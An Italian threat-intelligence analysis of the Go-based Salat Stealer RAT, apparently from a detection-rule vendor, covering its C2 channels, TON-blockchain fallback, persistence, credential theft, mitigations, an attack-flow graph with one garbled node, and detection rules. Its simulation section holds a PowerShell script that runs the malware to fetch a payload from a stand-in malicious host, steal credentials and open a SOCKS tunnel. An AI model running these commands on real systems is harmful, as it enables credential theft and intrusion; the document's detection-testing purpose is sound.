Analisi di Salat Stealer: RAT in Go, Resilienza C2 e Capacità di Furto Informazioni
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Salat Stealer è un trojan di accesso remoto basato su Go che funziona come un framework di post-exploitation a tutto tondo. Supporta multipli canali di comunicazione, inclusi WebSocket, HTTP/2, HTTP/3 e QUIC, offrendo agli operatori opzioni di comando e controllo flessibili e resilienti. Il malware include anche ampie capacità di furto di credenziali, mirando ai dati dei browser, portafogli di criptovalute, tasti di battitura, screenshot e pivoting di rete tramite SOCKS5. Per sopravvivere ai riavvii, utilizza copie di file nascosti, attività programmate e una chiave di registro Run. Se la sua infrastruttura principale viene interrotta, il malware può recuperare dettagli aggiornati di comando e controllo tramite la blockchain TON.
Indagine
L’analisi spiega come il malware deriva le chiavi di crittografia da stringhe statiche combinate con il nome host della vittima, per poi usarle per decrittare cinque URL di comando e controllo incorporati. I ricercatori hanno anche documentato come Salat Stealer seleziona il suo protocollo di trasporto, elabora i comandi dell’operatore, tenta l’aumento dei privilegi e implementa diversi metodi di persistenza sull’host. Il rapporto delinea ulteriormente la gamma di dati rubati e le funzioni di accesso remoto più ampie disponibili per l’aggressore.
Mitigazione
I difensori dovrebbero monitorare le connessioni agli URL di comando e controllo identificati, così come il traffico QUIC e WebSocket inaspettato verso destinazioni sconosciute. I team di sicurezza dovrebbero anche vigilare su attività programmate nascoste e voci di Run sospette che puntano a eseguibili non familiari. La whitelisting delle applicazioni e i controlli rigidi di esecuzione possono aiutare a prevenire l’esecuzione del payload basato su Go. La segmentazione della rete e l’ispezione TLS possono inoltre migliorare la visibilità sul traffico in uscita sospetto associato al malware.
Risposta
Se viene rilevata l’attività di Salat Stealer, isolare immediatamente il sistema interessato, raccogliere immagini di memoria e disco e terminare i processi maligni. Rimuovere tutti i manufatti di persistenza, inclusi le attività programmate, le voci di chiave Run e le copie di file nascoste utilizzate dal malware. I domini di comando e controllo identificati devono essere bloccati, insieme a qualsiasi ricerca correlata sulla blockchain TON utilizzata per la scoperta dell’infrastruttura di fallback. Le credenziali esposte e i portafogli di criptovalute dovrebbero anche essere ruotati o messi in sicurezza senza ritardo.
"graph TB %% Definizioni classi definiClass action fill:#99ccff definiClass tool fill:#ffcc99 definiClass malware fill:#ff9999 definiClass process fill:#ccffcc %% Definizione malware malware_salatr["<b>Malware</b> – <b>Nome</b>: Salat Stealer (Go RAT)<br/><b>Descrizione</b>: Trojan di accesso remoto basato su Go utilizzato per furto, persistenza e movimento laterale."] class malware_salatr malware %% Processo di esecuzione iniziale process_start["<b>Processo</b> – <b>Nome</b>: SalatStealer.exe<br/><b>Azione</b>: Avvia, recupera il proprio percorso, controlla l’istanza esistente, può bypassare UAC.<br/><b>Tecnica</b>: T1548.002 Bypass Controllo Account Utente<br/><b>Tecnica</b>: T1027.008 File Offuscati/Conservati"] class process_start process malware_salatr –>|esegue| process_start %% Meccanismi di persistenza persistence_task["<b>Azione</b> – <b>T1053.005 Attività Programmata</b>: Crea attività programmata nascosta con nome mascherato (explorer.exe)."] class persistence_task action persistence_reg["<b>Azione</b> – <b>T1547.001 Chiavi di Run del Registro / Cartella di Avvio</b>: Inserzione HKCURun utilizzando nome camuffato (svchost.exe)."] class persistence_reg action process_start –>|crea| persistence_task process_start –>|crea| persistence_reg %% Evasione difensiva defense_evasion["<b>Azione</b> – <b>T1027 File Offuscati</b>: Offuscamento delle stringhe in modalità Sixu2011 e derivazione chiave peru2011macchina."] class defense_evasion action process_start –>|applica| defense_evasion %% Scoperta del sistema discovery["<b>Azione</b> – <b>T1082 Scoperta Informazioni di Sistema</b>: Raccoglie OS, CPU, GPU, RAM, titolo finestra attiva, stato amministratore e costruisce un identificatore agente."] class discovery action process_start –>|esegue| discovery %% Accesso credenziali credential_access["<b>Azione</b> – <b>T1555.003 Credenziali dai Browser Web</b>: Ricava password cifrate da Chromium, Firefox, Discord, Steam e DPAPI.<br/><b>Tecniche aggiuntive</b>: T1056.001 Keylogging, T1115 Dati Appunti."] class credential_access action process_start –>|esegue| credential_access %% Raccolta dati collection["<b>Azione</b> – <b>T1113 Screenshot</b>, <b>T1125 Acquisizione Video</b>, <b>T1560.001 Archivio via Utility</b>: Cattura schermo, video webcam e archivia dati in file ZIP."] class collection action credential_access –>|raccoglie| collection %% Comando e controllo c2["<b>Azione</b> – <b>T1071.005 WebSocket</b> e <b>T1071.001 Protocollo Web</b>: Comunica tramite QUIC/WebSocket con URL cifrati; ricorre a endpoint alternati e blockchain TON.<br/><b>Tecnica</b>: T1008 Canali di Fallback"] class c2 action collection –>|esfiltra via| c2 %% Esfiltrazione efaw|dfaedfr|<l><b>Azione</b> – <b>T1041 Esfiltrazione su Canale C2</b>, <b>T1048 Esfiltrazione su Protocollo Alternativo</b>, <b>T1020 Esfiltrazione Automatica</b>: Invia dati archiviati e credenziali rubate."] class exfiltration action c2 –>|invia dati| exfiltration %% Esecuzione comandi remoti command_exec["<b>Azione</b> – <b>T1059.003 Shell Comandi Windows</b>: Riceve ed esegue istruzioni da linea di comando dall’aggressore.<br/><b>Tecnica</b>: T1090.001 Proxy SOCKS5 per tunneling."] class command_exec action exfiltration –>|riceve comandi| command_exec %% Movimento laterale tramite proxy lateral["<b>Azione</b> – <b>T1090.001 Proxy (SOCKS5)</b>: Stabilisce tunnel SOCKS5 interno per pivoting e movimento laterale."] class lateral action command_exec –>|stabilisce| lateral "
Flusso di Attacco
Rilevazioni
Comando e Controllo Sospetto tramite Richiesta DNS di Dominio di Primo Livello (TLD) Insolito (via dns)
Visualizza
Punti di Persistenza Possibili [ASEPs – Software/Registro NTUSER] (via registry_event)
Visualizza
Esecuzione di Processi di Sistema da Percorsi Insoliti (via process_creation)
Visualizza
IOC (HashSha256) per rilevare: Analisi di Salat Stealer, RAT basato su Go, Resilienza C2 e Capacità di Furto Informazioni
Visualizza
IOC (HashSha1) per rilevare: Analisi di Salat Stealer, RAT basato su Go, Resilienza C2 e Capacità di Furto Informazioni
Visualizza
IOC (HashMd5) per rilevare: Analisi di Salat Stealer, RAT basato su Go, Resilienza C2 e Capacità di Furto Informazioni
Visualizza
Rilevazione delle Attività di Salat Stealer RAT [Windows Sysmon]
Visualizza
Rilevazione dei Pattern di Comunicazione C2 di Salat Stealer [Connessione di Rete Windows]
Visualizza
Esecuzione e Rilevazione Modalità di Salat Stealer [Creazione Processo Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo pre-volo di Telemetria & Base deve essere passato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria attesa dalla logica di rilevamento.
-
Narrazione & Comandi dell’Attacco:
Un avversario ha consegnato il binario Salat RAT (salat.exe) all’host vittima tramite un allegato di phishing. Dopo aver ottenuto una base con privilegi bassi, l’aggressore esegue il binario con argomenti specifici per:- Scaricare un payload secondario –
main.downloadFile https://malicious.example.com/payload.exe. - Rubare credenziali memorizzate –
main.Steal -module credentials. - Stabilire un tunnel SOCKS peer-to-peer per il movimento laterale –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
Il binario viene lanciato da una sessione PowerShell elevata per soddisfare il requisito di elevazione (T1548). Ogni invocazione appare come una creazione di processo Sysmon distinta con la corrispondente linea di comando, soddisfacendo il matching della stringa della regola Sigma.
- Scaricare un payload secondario –
-
Script Test di Regressione:
# ------------------------------------------------- # Script di simulazione Salat RAT – attiva il rilevamento # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # Assicurati che il binario esista (segnaposto – in un test reale il binario sarebbe pre-posizionato) if (-Not (Test-Path $binaryPath)) { Write-Error "Binario Salat non trovato a $binaryPath" exit 1 } # 1. Scarica payload secondario Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. Ruba credenziali Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. Apri tunnel P2P SOCKS Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "Simulazione completata." -
Comandi di Pulizia:
# ------------------------------------------------- # Pulizia per la simulazione Salat RAT # ------------------------------------------------- # Termina eventuali processi Salat rimanenti Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # Rimuovi il binario (se consentito) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "Rimosso $binaryPath" } # Facoltativamente, cancella eventi Sysmon correlati dall'indice di test (esempio Splunk) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'